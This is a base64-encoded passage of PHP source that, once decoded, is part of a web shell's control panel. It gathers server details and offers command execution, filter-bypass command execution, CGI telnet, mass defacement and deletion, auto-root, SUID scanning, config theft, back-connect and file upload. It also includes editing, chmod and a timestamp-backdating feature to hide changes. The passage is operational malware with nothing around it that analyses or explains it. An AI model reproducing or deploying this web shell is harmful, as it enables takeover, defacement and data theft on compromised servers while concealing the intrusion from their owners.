pZD0iaW5mb28iPgogICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGNsYXNzPSJidG4gYnRuLW91dGxpbmUtbGlnaHQgdGV4dC1wdXJwbGUiIGRhdGEtYnMtdG9nZ2xlPSJjb2xsYXBzZSIgZGF0YS1icy10YXJnZXQ9IiNjb2xsYXBzZWluZm8iIGFyaWEtZXhwYW5kZWQ9ImZhbHNlIiBhcmlhLWNvbnRyb2xzPSJjb2xsYXBzZWluZm8iPjxpIGNsYXNzPSJmYSBmYS1pbmZvLWNpcmNsZSI+PC9pPiBJbmZvIDxpIGNsYXNzPSJmYSBmYS1jaGV2cm9uLWRvd24iPjwvaT48L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sbGFwc2UgdGV4dC1wdXJwbGUgbWItMyIgaWQ9ImNvbGxhcHNlaW5mbyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJib3ggc2hhZG93IGJnLWxpZ2h0IHAtNCByb3VuZGVkLTMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFN5c3RlbTogPGdyPjw/PSAkdW5hbWU7ID8+PC9ncj48YnI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU29mdHdhcmU6IDxncj48Pz0gJHNvZnQ7ID8+PC9ncj48YnI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUEhQIHZlcnNpb246IDxncj48Pz0gJHBocHZlcjsgPz48L2dyPiB8IFBIUCBvczogPGdyPjw/PSAkcGhwb3M7ID8+PC9ncj48YnI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRG9tYWluczogPGdyPjw/PSAkZG9tOyA/PjwvZ3I+PGJyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNlcnZlciBJcDogPGdyPjw/PSAkaXA7ID8+PC9ncj48YnI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWW91ciBJcDogPGdyPjw/PSAkdWlwOyA/PjwvZ3I+PGJyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVzZXI6IDxncj48Pz0gJGRvd25lcjsgPz48L2dyPiB8IEdyb3VwOiA8Z3I+PD89ICRkZ3JwOyA/PjwvZ3I+PGJyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNhZmUgTW9kZTogPD89ICRzbTsgPz48YnI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTVlTUUw6IDw/PSAkc3FsOyA/PiB8IFBFUkw6IDw/PSAkcGw7ID8+IHwgUFlUSE9OOiA8Pz0gJHB5OyA/PiB8IFdHRVQ6IDw/PSAkd2dldDsgPz4gfCBDVVJMOiA8Pz0gJGN1cmw7ID8+IHwgR0NDOiA8Pz0gJGdjYzsgPz4gfCBQS0VYRUM6IDw/PSAkcGtleGVjOyA/Pjxicj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEaXNhYmxlIEZ1bmN0aW9uOjxicj48cHJlPjw/PSAkZGlzZmM7ID8+PC9wcmU+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPCEtLSBjb25maWd1cmF0aW9uIGZpdHVyZSAtLT4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGlkPSJ0b29scyI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxjZW50ZXI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aHIgd2lkdGg9JzIwJSc+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvY2VudGVyPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJkLWZsZXgganVzdGlmeS1jb250ZW50LWNlbnRlciBmbGV4LXdyYXAgbXktMyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI8Pz0gJF9TRVJWRVJbJ1BIUF9TRUxGJ107ID8+IiBjbGFzcz0ibS0xIGJ0biBidG4tb3V0bGluZS1saWdodCBidG4tc20gdGV4dC1wdXJwbGUiPjxpIGNsYXNzPSJmYSBmYS1ob21lIj48L2k+IEhvbWU8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/ZGlyPTw/PSAkcGF0aCA/PiZpdGVtPTw/PSAkZGlyID8+JmFjdGlvbj11cGxvYWQiIGNsYXNzPSJtLTEgYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbSB0ZXh0LXB1cnBsZSI+PGkgY2xhc3M9ImZhIGZhLXVwbG9hZCI+PC9pPiBVcGxvYWQ8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/ZGlyPTw/PSAkcGF0aCA/PiZpdGVtPTw/PSAkZGlyID8+JmFjdGlvbj1nZXRmaWxlIiBjbGFzcz0ibS0xIGJ0biBidG4tb3V0bGluZS1saWdodCBidG4tc20gdGV4dC1wdXJwbGUiPjxpIGNsYXNzPSJmYSBmYS11cGxvYWQiPjwvaT4gR2V0IEZpbGU8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/ZGlyPTw/PSAkcGF0aCA/PiZpdGVtPTw/PSAkZGlyID8+JmFjdGlvbj1jb21tYW5kIiBjbGFzcz0ibS0xIGJ0biBidG4tb3V0bGluZS1saWdodCBidG4tc20gdGV4dC1wdXJwbGUiPjxpIGNsYXNzPSJmYSBmYS10ZXJtaW5hbCI+PC9pPiBDb21tYW5kPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP2Rpcj08Pz0gJHBhdGggPz4maXRlbT08Pz0gJGRpciA/PiZhY3Rpb249Y29tbWFuZGJ5cGFzcyIgY2xhc3M9Im0tMSBidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtIHRleHQtcHVycGxlIj48aSBjbGFzcz0iZmEgZmEtdGVybWluYWwiPjwvaT4gQ29tbWFuZCBCeXBhc3M8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/ZGlyPTw/PSAkcGF0aCA/PiZpdGVtPTw/PSAkZGlyID8+JmFjdGlvbj1jZ2ktdGVsbmV0IiBjbGFzcz0ibS0xIGJ0biBidG4tb3V0bGluZS1saWdodCBidG4tc20gdGV4dC1wdXJwbGUiPjxpIGNsYXNzPSJmYSBmYS10ZXJtaW5hbCI+PC9pPiBDR0kgVGVsbmV0PC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP2Rpcj08Pz0gJHBhdGggPz4maXRlbT08Pz0gJGRpciA/PiZhY3Rpb249bWFzc2h0YWNjZXNzIiBjbGFzcz0ibS0xIGJ0biBidG4tb3V0bGluZS1saWdodCBidG4tc20gdGV4dC1wdXJwbGUiPjxpIGNsYXNzPSJmYSBmYS1sYXllci1ncm91cCI+PC9pPiBNYXNzIEh0YWNjZXNzPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP2Rpcj08Pz0gJHBhdGggPz4maXRlbT08Pz0gJGRpciA/PiZhY3Rpb249bWFzc2RlZmFjZSIgY2xhc3M9Im0tMSBidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtIHRleHQtcHVycGxlIj48aSBjbGFzcz0iZmEgZmEtbGF5ZXItZ3JvdXAiPjwvaT4gTWFzcyBEZWZhY2U8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/ZGlyPTw/PSAkcGF0aCA/PiZpdGVtPTw/PSAkZGlyID8+JmFjdGlvbj1tYXNzZGVsZXRlIiBjbGFzcz0ibS0xIGJ0biBidG4tb3V0bGluZS1saWdodCBidG4tc20gdGV4dC1wdXJwbGUiPjxpIGNsYXNzPSJmYSBmYS1lcmFzZXIiPjwvaT4gTWFzcyBEZWxldGU8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/ZGlyPTw/PSAkcGF0aCA/PiZpdGVtPTw/PSAkZGlyID8+JmFjdGlvbj1hdXRvcm9vdCIgY2xhc3M9Im0tMSBidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtIHRleHQtcHVycGxlIj48aSBjbGFzcz0iZmEgZmEtaGFzaHRhZyI+PC9pPiBBdXRvIFJvb3Q8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/ZGlyPTw/PSAkcGF0aCA/PiZpdGVtPTw/PSAkZGlyID8+JmFjdGlvbj1zY2Fuc3VpZCIgY2xhc3M9Im0tMSBidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtIHRleHQtcHVycGxlIj48aSBjbGFzcz0iZmEgZmEtdXNlciI+PC9pPiBTY2FuIFN1aWQ8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/ZGlyPTw/PSAkcGF0aCA/PiZpdGVtPTw/PSAkZGlyID8+JmFjdGlvbj1sb2NrZmlsZXMiIGNsYXNzPSJtLTEgYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbSB0ZXh0LXB1cnBsZSI+PGkgY2xhc3M9ImZhIGZhLWxvY2siPjwvaT4gTG9jayBGaWxlIEM8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/ZGlyPTw/PSAkcGF0aCA/PiZpdGVtPTw/PSAkZGlyID8+JmFjdGlvbj1sb2NrZmlsZXNoaWRkZW4iIGNsYXNzPSJtLTEgYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbSB0ZXh0LXB1cnBsZSI+PGkgY2xhc3M9ImZhIGZhLWxvY2siPjwvaT4gTG9jayBGaWxlIFBIUDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9kaXI9PD89ICRwYXRoID8+Jml0ZW09PD89ICRkaXIgPz4mYWN0aW9uPWdldGNvbmZpZyIgY2xhc3M9Im0tMSBidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtIHRleHQtcHVycGxlIj48aSBjbGFzcz0iZmEgZmEtZXllIj48L2k+IEdldCBDb25maWc8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/ZGlyPTw/PSAkcGF0aCA/PiZpdGVtPTw/PSAkZGlyID8+JmFjdGlvbj1qdW1waW5nIiBjbGFzcz0ibS0xIGJ0biBidG4tb3V0bGluZS1saWdodCBidG4tc20gdGV4dC1wdXJwbGUiPjxpIGNsYXNzPSJmYSBmYS1leWUtc2xhc2giPjwvaT4gSnVtcGluZzwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9kaXI9PD89ICRwYXRoID8+Jml0ZW09PD89ICRkaXIgPz4mYWN0aW9uPWJhY2tjb25uZWN0IiBjbGFzcz0ibS0xIGJ0biBidG4tb3V0bGluZS1saWdodCBidG4tc20gdGV4dC1wdXJwbGUiPjxpIGNsYXNzPSJmYSBmYS1uZXR3b3JrLXdpcmVkIj48L2k+IEJhY2sgQ29ubmVjdDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9sb2dvdXQiIGNsYXNzPSJtLTEgYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbSB0ZXh0LXB1cnBsZSI+PGkgY2xhc3M9ImZhIGZhLW5ldHdvcmstd2lyZWQiPjwvaT4gTG9nb3V0PC9hPgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPGNlbnRlcj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxociB3aWR0aD0nMjAlJz4KICAgICAgICAgICAgICAgICAgICAgICAgPC9jZW50ZXI+CgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb250YWluZXIiIGlkPSJ0b29scyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8IS0tIGVuZGlmIC0tPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKGlzc2V0KCRfR0VUWydhY3Rpb24nXSkgJiYgJF9HRVRbJ2FjdGlvbiddICE9ICdkb3dubG9hZCcpIDogJGFjdGlvbiA9ICRfR0VUWydhY3Rpb24nXSA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoaXNzZXQoJF9HRVRbJ2FjdGlvbiddKSAmJiAkX0dFVFsnYWN0aW9uJ10gIT0gJ2RlbGV0ZScpIDogJGFjdGlvbiA9ICRfR0VUWydhY3Rpb24nXSA/PgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtbWQtMTIiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3cganVzdGlmeS1jb250ZW50LWNlbnRlciI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoJGFjdGlvbiA9PSAncmVuYW1lJyAmJiBpc3NldCgkX0dFVFsnaXRlbSddKSkgOiA/PgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtbWQtNSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWItMyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0ibmFtZSIgY2xhc3M9ImZvcm0tbGFiZWwiPk5ldyBOYW1lPC9sYWJlbD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImZvcm0tY29udHJvbCIgbmFtZT0ibmV3TmFtZSIgdmFsdWU9Ijw/PSAkX0dFVFsnaXRlbSddID8+Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLW91dGxpbmUtbGlnaHQgdGV4dC1wdXJwbGUiPlN1Ym1pdDwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidG4gYnRuLW91dGxpbmUtbGlnaHQgdGV4dC1wdXJwbGUiIG9uY2xpY2s9Imhpc3RvcnkuZ28oLTEpIj5CYWNrPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVsc2VpZiAoJGFjdGlvbiA9PSAnZWRpdCcgJiYgaXNzZXQoJF9HRVRbJ2l0ZW0nXSkpIDogPz4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLW1kLTUiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1iLTMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9Im5hbWUiIGNsYXNzPSJmb3JtLWxhYmVsIj48Pz0gJF9HRVRbJ2l0ZW0nXSA/PjwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRleHRhcmVhIGlkPSJDb3B5RnJvbVRleHRBcmVhIiBuYW1lPSJuZXdDb250ZW50IiByb3dzPSIxMCIgY2xhc3M9ImZvcm0tY29udHJvbCI+PD89IGh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJHBhdGguICcvJy4gJF9HRVRbJ2l0ZW0nXSkpID8+PC90ZXh0YXJlYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLW91dGxpbmUtbGlnaHQgdGV4dC1wdXJwbGUiPlN1Ym1pdDwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidG4gYnRuLW91dGxpbmUtbGlnaHQgdGV4dC1wdXJwbGUiIG9uY2xpY2s9ImpzY29weSgpIj5Db3B5PC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0biBidG4tb3V0bGluZS1saWdodCB0ZXh0LXB1cnBsZSIgb25jbGljaz0iaGlzdG9yeS5nbygtMSkiPkJhY2s8L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWxzZWlmICgkYWN0aW9uID09ICdjaG1vZCcgJiYgaXNzZXQoJF9HRVRbJ2l0ZW0nXSkpIDogPz4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLW1kLTUiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1iLTMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9Im5hbWUiIGNsYXNzPSJmb3JtLWxhYmVsIj48Pz0gJF9HRVRbJ2l0ZW0nXSA/PjwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9Im51bWJlciIgY2xhc3M9ImZvcm0tY29udHJvbCIgbmFtZT0ibmV3UGVybSIgdmFsdWU9Ijw/PSBzdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJF9HRVRbJ2l0ZW0nXSkpLCAtMyk7ID8+Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLW91dGxpbmUtbGlnaHQgdGV4dC1wdXJwbGUiPlN1Ym1pdDwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidG4gYnRuLW91dGxpbmUtbGlnaHQgdGV4dC1wdXJwbGUiIG9uY2xpY2s9Imhpc3RvcnkuZ28oLTEpIj5CYWNrPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVsc2VpZiAoJGFjdGlvbiA9PSAndG91Y2gnICYmIGlzc2V0KCRfR0VUWydpdGVtJ10pKSA6ID8+CgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkaXJlY3RvcnkgPSAnLic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZpbGVzID0gc2NhbmRpcigkZGlyZWN0b3J5KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZmlsZXMgPSBhcnJheV9kaWZmKCRmaWxlcywgYXJyYXkoJy4nLCAnLi4nKSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG9sZGVzdFRpbWVzdGFtcCA9IFBIUF9JTlRfTUFYOwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzX2ZpbGUoJGRpcmVjdG9yeSAuICcvJyAuICRmaWxlKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRpbWVzdGFtcCA9IGZpbGVtdGltZSgkZGlyZWN0b3J5IC4gJy8nIC4gJGZpbGUpOwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCR0aW1lc3RhbXAgPCAkb2xkZXN0VGltZXN0YW1wKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb2xkZXN0VGltZXN0YW1wID0gJHRpbWVzdGFtcDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb2xkZXN0RGF0ZSA9IGRhdGUoJ1ktbS1kIEg6aTpzJywgJG9sZGVzdFRpbWVzdGFtcCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPz4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLW1kLTUiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1iLTMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9Im5hbWUiIGNsYXNzPSJmb3JtLWxhYmVsIj48Pz0gJF9HRVRbJ2l0ZW0nXSA/PjwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIG5hbWU9Im5ld0RhdGUiIHZhbHVlPSI8Pz0gICRvbGRlc3REYXRlOyA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IHRleHQtcHVycGxlIj5TdWJtaXQ8L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IHRleHQtcHVycGxlIiBvbmNsaWNrPSJoaXN0b3J5LmdvKC0xKSI+QmFjazwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbHNlaWYgKCRhY3Rpb24gPT0gJ3VwbG9hZCcpIDogPz4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLW1kLTUiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1iLTMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz0iZm9ybS1sYWJlbCI+RmlsZSBVcGxvYWRlcjwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaW5wdXQtZ3JvdXAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iZmlsZSIgY2xhc3M9ImZvcm0tY29udHJvbCIgbmFtZT0idXBsb2FkZmlsZVtdIiBpZD0iaW5wdXRHcm91cEZpbGUwNCIgYXJpYS1kZXNjcmliZWRieT0iaW5wdXRHcm91cEZpbGVBZGRvbjA0IiBhcmlhLWxhYmVsPSJVcGxvYWQiIG11bHRpcGxlPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGNsYXNzPSJidG4gYnRuLW91dGxpbmUtbGlnaHQgdGV4dC1wdXJwbGUiIHR5cGU9InN1Ym1pdCIgaWQ9ImlucHV0R3JvdXBGaWxlQWRkb24wNCI+VXBsb2FkPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVsc2VpZiAoJGFjdGlvbiA9PSAnZ2V0ZmlsZScpIDogPz4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLW1kLTUiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWItMyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgY2xhc3M9ImZvcm0tbGFiZWwiPlVSTDwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iZm9ybS1jb250cm9sIiBuYW1lPSJmaWxlZG93biIgYXJpYS1sYWJlbD0iVVJMIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAg